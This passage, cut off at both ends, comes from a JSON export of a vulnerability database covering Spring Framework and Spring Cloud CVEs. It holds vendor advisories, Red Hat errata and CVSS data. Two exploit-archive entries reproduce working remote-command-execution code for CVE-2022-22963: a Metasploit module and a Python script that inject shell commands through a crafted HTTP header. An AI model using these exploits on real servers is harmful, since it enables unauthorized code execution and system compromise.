5.3.17](<https://spring.io/blog/2022/03/17/spring-framework-6-0-0-m3-and-5-3-17-available-now>) and [Spring Framework 5.2.20](<https://github.com/spring-projects/spring-framework/releases/tag/v5.2.20.RELEASE>) to address the following CVE report.\n\n * [CVE-2022-22950: Spring Expression DoS Vulnerability](<https://tanzu.vmware.com/security/cve-2022-22950>)\n\nPlease review the information in the CVE report and upgrade immediately.\n\nSpring Boot users should upgrade to [2.5.11](<https://spring.io/blog/2022/03/24/spring-boot-2-5-11-available-now>) or [2.6.5](<https://spring.io/blog/2022/03/24/spring-boot-2-6-5-available-now>).", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "LOW", "baseScore": 6.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2022-03-28T08:00:00", "type": "spring", "title": "CVE report published for Spring Framework", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 4.0, "vectorString": "AV:N/AC:L/Au:S/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22950"], "modified": "2022-03-28T08:00:00", "id": "SPRING:DE384E814B204ABC68C9A98C00ACA572", "href": "https://spring.io/blog/2022/03/28/cve-report-published-for-spring-framework", "cvss": {"score": 4.0, "vector": "AV:N/AC:L/Au:S/C:N/I:N/A:P"}}, {"lastseen": "2022-04-27T14:58:04", "description": "We have released Spring Cloud Function [3.1.7](<https://repo.maven.apache.org/maven2/org/springframework/cloud/spring-cloud-function-context/3.1.7/>) & [3.2.3](<https://repo.maven.apache.org/maven2/org/springframework/cloud/spring-cloud-function-context/3.2.3/>) to address the following CVE report.\n\n * [CVE-2022-22963: Remote code execution in Spring Cloud Function by malicious Spring Expression](<https://tanzu.vmware.com/security/cve-2022-22963>)\n\nPlease review the information in the CVE report and upgrade immediately.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-03-30T00:53:00", "type": "spring", "title": "CVE report published for Spring Cloud Function", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22963"], "modified": "2022-03-30T00:53:00", "id": "SPRING:5D790268422545C1CFB6959B07261E50", "href": "https://spring.io/blog/2022/03/29/cve-report-published-for-spring-cloud-function", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-04-27T14:58:04", "description": "Yesterday we [announced](<https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement>) a Spring Framework RCE vulnerability [CVE-2022-22965](<https://tanzu.vmware.com/security/cve-2022-22965>), listing Apache Tomcat as one of several preconditions. The Apache Tomcat team has since released versions **10.0.20**, **9.0.62**, and **8.5.78** all of which close the attack vector on Tomcat's side. While the vulnerability is not in Tomcat itself, in real world situations, it is important to be able to choose among multiple upgrade paths that in turn provides flexibility and layered protection. \n\nUpgrading to Spring Framework **5.3.18+** or **5.2.20+** continues to be our main recommendation not only because it addresses the root cause and prevents other possible attack vectors, but also because it adds protection for other CVEs addressed since the current version in use. \n\nFor older, unsupported versions of the Spring Framework, the Tomcat releases provide an adequate solution for the reported attack vector. Nevertheless, we must stress that this should only be seen as a tactical solution, while the main goal should still be to upgrade to a currently [supported Spring Framework version](<https://github.com/spring-projects/spring-framework/wiki/Spring-Framework-Versions>) as soon as possible.\n\nLast but not least, it's worth mentioning that downgrading to Java 8 provides another viable workaround, which may be another tactical solution option.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-01T11:49:00", "type": "spring", "title": "Spring Framework RCE, Mitigation Alternative", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22965"], "modified": "2022-04-01T11:49:00", "id": "SPRING:EA9C08B2E57AC70E90A896D25F4A8BEE", "href": "https://spring.io/blog/2022/04/01/spring-framework-rce-mitigation-alternative", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "checkpoint_security": [{"lastseen": "2023-04-20T02:09:19", "description": "Solution\n\nOn March 29, 2022, new CVEs were published on Spring Cloud: [CVE-2022-22963](<https://vulners.com/cve/CVE-2022-22963>), [CVE-2022-22946](<https://vulners.com/cve/CVE-2022-22946>), [CVE-2022-22947](<https://vulners.com/cve/CVE-2022-22947>), and [CVE-2022-22950](<https://vulners.com/cve/CVE-2022-22950>).\n\nOn March 31, 2022, a bypass to the fix for [CVE-2010-1622](<https://vulners.com/cve/CVE-2010-1622>) was published by Praetorian, and received the nickname \"Spring4Shell\" (see [Spring Core on JDK9+ is vulnerable to remote code execution](<https://www.praetorian.com/blog/spring-core-jdk9-rce>)). Later, it was assigned to [CVE-2022-22965](<https://vulners.com/cve/CVE-2022-22965>).\n\nThe Check Point Infinity architecture is protected against this threat. We verified that this vulnerability does not affect our Infinity portfolio (including Quantum Security Gateways, Smart Management, Quantum Spark appliances with Gaia Embedded OS, Harmony Endpoint, Harmony Mobile, ThreatCloud, and CloudGuard). \nWe will continue to update you on any new development of this security event.\n\n### \nCheck Point Products Status\n\n**Notes:**\n\n * All Check Point software versions, including out of support versions, are not vulnerable.\n * All Check Point appliances are not vulnerable.\n\n### \nIPS protections\n\nCheck Point released these IPS protections:\n\n * Spring Core Remote Code Execution ([CVE-2022-22965](<https://vulners.com/cve/CVE-2022-22965>))\n * Spring Cloud Function Remote Code Execution ([CVE-2022-22963](<https://vulners.com/cve/CVE-2022-22963>))\n * Spring Cloud Gateway Remote Code Execution ([CVE-2022-22947](<https://vulners.com/cve/CVE-2022-22947>))\n\nTo see these IPS protections in SmartConsole:\n\n 1. From the left navigation panel, click **Security Policies**.\n 2. In the upper pane, click **Threat Prevention** > **Custom Policy**.\n 3. In the lower pane, click **IPS Protections**.\n 4. In the top search field, enter the name of the CVE number.\n\n**Best Practice** \\- Check Point recommends activating HTTPS Inspection (in the Security Gateway / Cluster object properties > HTTPS Inspection view), as the attack payload may appear in encrypted or decrypted traffic.\n\n### \nHarmony Endpoint for Linux Protection\n\n * Exploit_Linux_Spring4Shell_B\n\n### \nCloudGuard Containers Security Protection\n\n * Exploit_Linux_Spring4Shell_A\n\n**Related Articles:**\n\n * [sk126352 - Check Point Response to Spring Framework Vulnerabilities: CVE-2018-1270, CVE-2018-1273, CVE-2018-1275](<https://supportcenter.checkpoint.com/supportcenter/portal?eventSubmit_doGoviewsolutiondetails=&solutionid=sk126352>)\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-03-30T21:41:02", "type": "checkpoint_security", "title": "Check Point Response to Spring Vulnerabilities CVE-2022-22963, CVE-2022-22946, CVE-2022-22947, CVE-2022-22965 (Spring4Shell) and CVE-2022-22950 ", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2010-1622", "CVE-2018-1270", "CVE-2018-1273", "CVE-2018-1275", "CVE-2022-22946", "CVE-2022-22947", "CVE-2022-22950", "CVE-2022-22963", "CVE-2022-22965"], "modified": "2022-03-30T21:41:02", "id": "CPS:SK178605", "href": "https://supportcenter.checkpoint.com/supportcenter/portal?eventSubmit_doGoviewsolutiondetails=&solutionid=sk178605", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "redhat": [{"lastseen": "2023-08-16T15:27:36", "description": "Red Hat OpenShift Serverless Client kn 1.21.1 provides a CLI to interact with Red Hat OpenShift Serverless 1.21.1. The kn CLI is delivered as an RPM package for installation on RHEL platforms, and as binaries for non-Linux platforms.\n\nSecurity Fix(es):\n\n* spring-cloud-function: Remote code execution by malicious Spring Expression (CVE-2022-22963)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-11T07:34:16", "type": "redhat", "title": "(RHSA-2022:1291) Low: Release of OpenShift Serverless Client kn 1.21.1", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22963"], "modified": "2022-04-11T08:17:49", "id": "RHSA-2022:1291", "href": "https://access.redhat.com/errata/RHSA-2022:1291", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-08-16T15:27:36", "description": "This version of the OpenShift Serverless Operator, which is supported on Red Hat OpenShift Container Platform versions 4.6, 4.7, 4.8, 4.9, and 4.10, includes a security fix. For more information, see the documentation listed in the References section.\n\nSecurity Fix(es):\n\n* spring-cloud-function: Remote code execution by malicious Spring Expression (CVE-2022-22963)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-11T08:22:04", "type": "redhat", "title": "(RHSA-2022:1292) Low: Release of OpenShift Serverless 1.21.1", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22963"], "modified": "2022-04-11T08:22:15", "id": "RHSA-2022:1292", "href": "https://access.redhat.com/errata/RHSA-2022:1292", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-08-16T15:27:36", "description": "AMQ Broker is a high-performance messaging implementation based on ActiveMQ Artemis. It uses an asynchronous journal for fast message persistence, and supports multiple languages, protocols, and platforms. \n\nThis release of Red Hat AMQ Broker 7.8.6 serves as a replacement for Red Hat AMQ Broker 7.8.5, and includes security and bug fixes, and enhancements. For further information, refer to the release notes linked to in the References section.\n\nSecurity Fix(es):\n\n* spring-webmvc: spring-framework: RCE via Data Binding on JDK 9+ (CVE-2022-22965)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-27T09:45:11", "type": "redhat", "title": "(RHSA-2022:1626) Low: Red Hat AMQ Broker 7.8.6 release and security update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22965"], "modified": "2022-04-27T09:45:24", "id": "RHSA-2022:1626", "href": "https://access.redhat.com/errata/RHSA-2022:1626", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-08-16T15:27:36", "description": "AMQ Broker is a high-performance messaging implementation based on ActiveMQ Artemis. It uses an asynchronous journal for fast message persistence, and supports multiple languages, protocols, and platforms. \n\nThis release of Red Hat AMQ Broker 7.9.4 serves as a replacement for Red Hat AMQ Broker 7.9.3, and includes security and bug fixes, and enhancements. For further information, refer to the release notes linked to in the References section.\n\nSecurity Fix(es):\n\n* spring-webmvc: spring-framework: RCE via Data Binding on JDK 9+ (CVE-2022-22965)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-27T09:45:16", "type": "redhat", "title": "(RHSA-2022:1627) Low: Red Hat AMQ Broker 7.9.4 release and security update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22965"], "modified": "2022-04-27T09:45:46", "id": "RHSA-2022:1627", "href": "https://access.redhat.com/errata/RHSA-2022:1627", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-08-16T15:27:36", "description": "Red Hat Decision Manager is an open source decision management platform that combines business rules management, complex event processing, Decision Model & Notation (DMN) execution, and business optimization for solving planning problems. It automates business decisions and makes that logic available to the entire business. \n\nThis asynchronous security patch is an update to Red Hat Decision Manager 7.\n\nSecurity Fix(es):\n\n* spring-webmvc: spring-framework: RCE via Data Binding on JDK 9+ (CVE-2022-22965)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-14T17:29:33", "type": "redhat", "title": "(RHSA-2022:1379) Low: Red Hat Decision Manager 7.12.1 security update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22965"], "modified": "2022-04-14T17:29:56", "id": "RHSA-2022:1379", "href": "https://access.redhat.com/errata/RHSA-2022:1379", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-08-16T15:27:36", "description": "A micro version update (from 1.6.4 to 1.6.5) is now available for Red Hat Camel K that includes CVE fixes in the base images, which are documented in the Release Notes document linked in the References section.\n\nSecurity Fix(es):\n\n* spring-beans: spring-framework: RCE via Data Binding on JDK 9+ (CVE-2022-22965)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-12T18:28:41", "type": "redhat", "title": "(RHSA-2022:1333) Low: Red Hat Integration Camel-K 1.6.5 security update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22965"], "modified": "2022-04-12T18:29:00", "id": "RHSA-2022:1333", "href": "https://access.redhat.com/errata/RHSA-2022:1333", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "zdt": [{"lastseen": "2023-07-21T18:40:34", "description": "Spring Cloud Function versions prior to 3.1.7 and 3.2.3 are vulnerable to remote code execution due to using an unsafe evaluation context with user-provided queries. By crafting a request to the application and setting the spring.cloud.function.routing-expression header, an unauthenticated attacker can gain remote code execution. Both patched and unpatched servers will respond with a 500 server error and a JSON encoded message.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-03-31T00:00:00", "type": "zdt", "title": "Spring Cloud Function SpEL Injection Exploit", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22963"], "modified": "2022-03-31T00:00:00", "id": "1337DAY-ID-37565", "href": "https://0day.today/exploit/description/37565", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n\n Rank = ExcellentRanking\n\n prepend Msf::Exploit::Remote::AutoCheck\n include Msf::Exploit::Remote::HttpClient\n include Msf::Exploit::CmdStager\n\n def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Spring Cloud Function SpEL Injection',\n 'Description' => %q{\n Spring Cloud Function versions prior to 3.1.7 and 3.2.3 are vulnerable to remote code execution due to using\n an unsafe evaluation context with user-provided queries. By crafting a request to the application and setting\n the spring.cloud.function.routing-expression header, an unauthenticated attacker can gain remote code\n execution. Both patched and unpatched servers will respond with a 500 server error and a JSON encoded message.\n },\n 'Author' => [\n 'm09u3r', # vulnerability discovery\n 'hktalent', # github PoC\n 'Spencer McIntyre'\n ],\n 'References' => [\n ['CVE', '2022-22963'],\n ['URL', 'https://github.com/hktalent/spring-spel-0day-poc'],\n ['URL', 'https://tanzu.vmware.com/security/cve-2022-22963'],\n ['URL', 'https://attackerkb.com/assessments/cda33728-908a-4394-9bd5-d4126557d225']\n ],\n 'DisclosureDate' => '2022-03-29',\n 'License' => MSF_LICENSE,\n 'Platform' => ['unix', 'linux'],\n 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],\n 'Privileged' => false,\n 'Targets' => [\n [\n 'Unix Command',\n {\n 'Platform' => 'unix',\n 'Arch' => ARCH_CMD,\n 'Type' => :unix_cmd\n }\n ],\n [\n 'Linux Dropper',\n {\n 'Platform' => 'linux',\n 'Arch' => [ARCH_X86, ARCH_X64],\n 'Type' => :linux_dropper\n }\n ]\n ],\n 'DefaultTarget' => 1,\n 'DefaultOptions' => {\n 'RPORT' => 8080,\n 'TARGETURI' => '/functionRouter'\n },\n 'Notes' => {\n 'Stability' => [CRASH_SAFE],\n 'Reliability' => [REPEATABLE_SESSION],\n 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\n }\n )\n )\n\n register_options([\n OptString.new('TARGETURI', [true, 'Base path', '/'])\n ])\n end\n\n def check\n res = send_request_cgi(\n 'method' => 'POST',\n 'uri' => normalize_uri(datastore['TARGETURI'])\n )\n\n return CheckCode::Unknown unless res\n\n # both vulnerable and patched servers respond with 500 and a JSON body with these keys\n return CheckCode::Safe unless res.code == 500\n return CheckCode::Safe unless %w[timestamp path status error message].to_set.subset?(res.get_json_document&.keys&.to_set)\n\n # best we can do is detect that the service is running\n CheckCode::Detected\n end\n\n def exploit\n print_status(\"Executing #{target.name} for #{datastore['PAYLOAD']}\")\n\n case target['Type']\n when :unix_cmd\n execute_command(payload.encoded)\n when :linux_dropper\n execute_cmdstager\n end\n end\n\n def execute_command(cmd, _opts = {})\n vprint_status(\"Executing command: #{cmd}\")\n res = send_request_cgi(\n 'method' => 'POST',\n 'uri' => normalize_uri(datastore['TARGETURI']),\n 'headers' => {\n 'spring.cloud.function.routing-expression' => \"T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/sh','-c','#{cmd.gsub(\"'\", \"''\")}'})\"\n }\n )\n\n fail_with(Failure::Unreachable, 'Connection failed') if res.nil?\n fail_with(Failure::UnexpectedReply, 'The server did not respond with the expected 500 error') unless res.code == 500\n end\nend\n", "sourceHref": "https://0day.today/exploit/37565", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-07-23T05:12:41", "description": "", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2023-07-11T00:00:00", "type": "zdt", "title": "Spring Cloud 3.2.2 - Remote Command Execution Exploit", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22963"], "modified": "2023-07-11T00:00:00", "id": "1337DAY-ID-38858", "href": "https://0day.today/exploit/description/38858", "sourceData": "# Exploit Title: Spring Cloud 3.2.2 - Remote Command Execution (RCE)\n# Exploit Author: GatoGamer1155, 0bfxgh0st\n# Vendor Homepage: https://spring.io/projects/spring-cloud-function/\n# Description: Exploit to execute commands exploiting CVE-2022-22963\n# Software Link: https://spring.io/projects/spring-cloud-function\n# CVE: CVE-2022-22963\n\nimport requests, argparse, json\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"--url\", type=str, help=\"http://172.17.0.2:8080/functionRouter\", required=True)\nparser.add_argument(\"--command\", type=str, help=\"ping -c1 172.17.0.1\", required=True)\nargs = parser.parse_args()\n\nprint(\"\\n\\033[0;37m[\\033[0;33m!\\033[0;37m] It is possible that the output of the injected command is not reflected in the response, to validate if the server is vulnerable run a ping or curl to the attacking host\\n\")\n\nheaders = {\"spring.cloud.function.routing-expression\": 'T(java.lang.Runtime).getRuntime().exec(\"%s\")' % args.command }\ndata = {\"data\": \"\"}\n\nrequest = requests.post(args.url, data=data, headers=headers)\nresponse = json.dumps(json.loads(request.text), indent=2)\nprint(response)\n", "sourceHref": "https://0day.today/exploit/38858", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "packetstorm": [{"lastseen": "2023-07-12T16:34:20", "description": "", 